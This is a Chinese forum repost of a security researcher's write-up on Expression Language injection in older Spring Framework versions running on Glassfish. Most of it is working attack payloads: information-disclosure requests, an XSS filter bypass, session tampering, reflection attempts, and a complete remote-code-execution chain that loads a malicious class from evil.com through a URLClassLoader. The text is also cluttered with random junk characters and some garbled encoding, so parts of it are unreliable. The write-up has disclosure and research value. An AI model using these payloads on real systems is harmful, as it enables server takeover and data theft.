找回密码
 立即注册
查看: 2996|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with$ g% d) R/ V6 v4 N4 {
Expression Language Injection
& D; J6 j$ Y" z3 h+ e4 E& e* `Spring Framework脆弱性—DanAmodio# F1 z0 D$ M$ a  V
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
; P) i) k. z; d& F+ E可能会存在风险。$ ^8 {5 C2 \1 R  {, h" l9 G7 o
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的" ^1 K2 O- r- L# `; i
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可+ `, T6 L# Y. B2 H; h" G$ b
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,0 ?9 `7 W% C+ }) E- K
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前- y. h) a& v: @; }2 ^. }* S
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。$ r6 M7 n+ S' R+ t+ \4 r) b/ Y" s
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但( Q+ k$ r  {6 \2 p+ y
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版2 g7 r% H1 H; m9 a# T% i
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。3 c+ B1 q( C  m+ p# o1 @- }
这些版本不支持禁用double EL resolution.( U8 w1 y* i% Z, S! ?6 P7 Y
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含4 G( F0 i& K( i# H7 B4 G2 y. i+ }
EL2.2容器上可能进行远程代码执行。4 z- o2 W0 o9 n2 e# W4 [
这是一个原始信息泄露的攻击例子:$ r/ @% o# L. q9 q! p
请求:
6 S! F, e9 ]6 p7 ottp://vulnerable.com/foo?message=${applicationScope}
" d1 o; J- \  ~到达以下内容页面:
& g0 b3 t# z8 R. O结果将输出一些包含内部服务器信息calsspath 和本地工作目录' \9 h2 ^6 v% k6 N3 V
你也可以做一些其他事情,如这样:) }% y" B& z$ J+ @9 z1 A7 k2 Z
${9999+1}1 m0 x" `& D1 j
还可以访问session 对象和beans! w4 l0 R' m. G, m& l
${employee.lastName}
$ M! K3 v$ J. H8 w" r0 X- }在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是- ], S: M1 a* T
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东6 t2 ^2 Y+ F2 f& E
西,比如XSS.
+ V# i; W5 a# }( e. y) d哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签4 A/ L' k6 f/ J' W4 K
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤4 [1 r1 w! P, A
呢?”
1 n4 B/ R# _) N1 A1 ^% i( f因此,我尝试巳缦拢�& C& n, j3 e4 l. B/ |/ x
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP# E- z: f, J9 I8 f
P% L% I& V; y& {5 A7 ^9 }
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返8 o) _. z, a7 h: D
回的文本被插入进了spring:message 标签。
/ M6 {2 N1 A3 n9 _% @& I4 G; ~这里是一个最终绕过过滤的实例:4 u7 O: u; L% U, D2 c9 q4 r) S
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ( D+ e2 V4 \+ y! j
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为6 B8 z% @) ?0 j0 t
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
! {( I" H' n: l( N7 k7 {经过一番研究,我学习到EL2.2 增加了方法调用。
0 R8 y" o3 N9 H我写了一个快速测试应用程序代码并且检测一些功能7 H5 q) I. W9 |' b+ B
${pageContext.request.getSession().setAttribute(“account”,”123456″)}. f) W2 c4 w2 ^5 a8 ?
${pageContext.request.getSession().setAttribute(“admin”,true)}
/ z) q& L! I9 Y+ ]* j好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的# x5 f3 S' S& K, |9 I* B, c
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?! z! O, N, j0 @" x0 T& @
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.18 Z% {, `" k! {1 G' k3 }, r
“, 1234)}
5 x6 X* u- S* p! c# M, V7 _6 t- \- ?" v${“”.getClass().forName(“java.lang.Runtime”)}* j5 y- ?* j' y3 r. f( ~
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不0 j/ h7 Z0 g9 ?4 c
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
0 k2 M9 n# W$ a, G& e: M+ d数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
0 G$ i: x( g+ B" A& P: j: h一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于8 A# k7 b# o% W+ R7 `) @5 [( P
方法签名invoke(Object obj, Object„ args)
) [1 j4 t% t- i1 UJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
2 r* Y4 E8 j  E  ^, C1 \+ a- {! W题,以让它可以工作起来。
) {6 O: \8 C7 J  j8 v, ^' q# F漏洞利用:5 l. L) j2 ~( j' x% T
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我5 J9 \+ i( H7 v5 ~5 x* O
希望你们中的一些JAVA奇才告诉我我是如此的可笑。4 K* ^6 |- g! q, |
这里有一些我试过的失败的用例,为了试图让它工作的用例:3 C  b1 F& S1 W8 A( T* ], _  S
 写文件到文件系统
$ {5 H% L+ T; b4 `, h6 t 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
. c6 I4 Z& K# W! m+ p3 w3 H8 N我认为这些可以很好的工作,但是我不能找到合适的类来载入。2 x9 B' W- s8 a9 H  v3 D2 _
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}9 p. |! w0 x: n1 ^* D, Y8 U: |
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:9 y% b' I' w2 X$ Z& W1 m& }
org.springframework.expression.spel.standard.SpelExpressionParser not found
  n( P3 }/ L& E. f0 Z( |* A& G6 iby
# D- H/ h/ C  y' Q& b' Lorg.glassfish.web.javax.servlet.jsp [194].
& w% i5 N* W( R4 J1 h 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
& y4 ~8 z0 e& u/ g8 L 利用反射来创建一个新的Runtime(and watch the world burn)
- U, ]" t) H' j7 T; U+ E${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName* Y5 k) y9 e- a$ T. a/ i5 ]7 o5 v
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}5 I  p& s1 Q4 M1 L+ f
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
6 j" s0 d7 i+ M4 P7 R0 v! V$ { 使用java.lang.ProcessBuilder) \' k' m' M; [" `" _) M: |. Q
 用表达式语言来评估表达式语言; l4 f& d; i! F( M& \
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
. k3 |+ y5 I) _${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request+ ^& c- J; \. C* n& ~4 d, L7 a
“,”".getClass(),null)}, l$ m. [' j8 o
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
7 `+ @0 V6 q& d( R) G& Q我在使用一个空数组通过Method.invoke()时失败了很多次# E" B! q$ W0 p; {: I6 Z' C" w
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo  V# M1 q! J1 ]* M, A+ z% F4 k7 h
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
/ ~. f: l& }8 p+ urrayList”).newInstance().toArray())
% ^% @0 l  @# O2 d1 Ijava.lang.IllegalArgumentException: wrong number of arguments
0 I: w- i+ o  l2 w1 R最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可% J! t8 G  Y$ M7 b
以创建一个恶意class文件并且指向类装载器.
! i( c/ o- N% b9 e# L我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
) {/ J( C  a! @: Lpublic class Malicious {
) \0 m% }  M, Y% A+ b2 `: n0 epublic Malicious() {6 R/ [# P" p0 I0 r- v% S
try {
# J' R) h% Y5 K8 N* p9 Rjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
8 e. }" c" o7 t4 Ajava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win* r4 ^2 c7 Z. Q
} catch (Exception e) {: e% }3 O7 F' v" i" e: i
}' e" t- y1 E: H. ?) f: s7 s# |: K
}; n9 v$ j# [" y4 e
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回# c& M3 }0 [' e3 E% X
话中,因此它可以被使用.
3 V4 T( A; s/ m3 `6 R! d, v${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName0 ]% T+ P- f8 A6 n
(“java.util.ArrayList”).newInstance())}3 |$ F; e2 J3 M! ]3 G
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建- }7 {% \# f2 ^- v; Z6 d
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
% e; z. b) s* [) l9 ogetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个5 P) a/ Z, b( S1 ~: [
我们可以调用的create(string)方法,然后转换对一个URL对象。
5 X3 P) w8 Z: t  @${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
0 y' X7 i3 ?6 S8 S6 yere/malicious/classfile/is/located/”).toURL())}
4 r4 h1 P& p- [) p$ }) m/ Y) G. ^3 E* L然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
  v# \, b; i" x: O. g/ Z8 Y% l恶意类文件被装载并创建,触发远程代码.
# j5 w" Z; F* q; ]* J${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
5 }# t% C" l' c6 [9 h% Txt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
8 C( ?- c* A) z! Q' h! g2 QgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
- m# E3 b& o' R% u()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表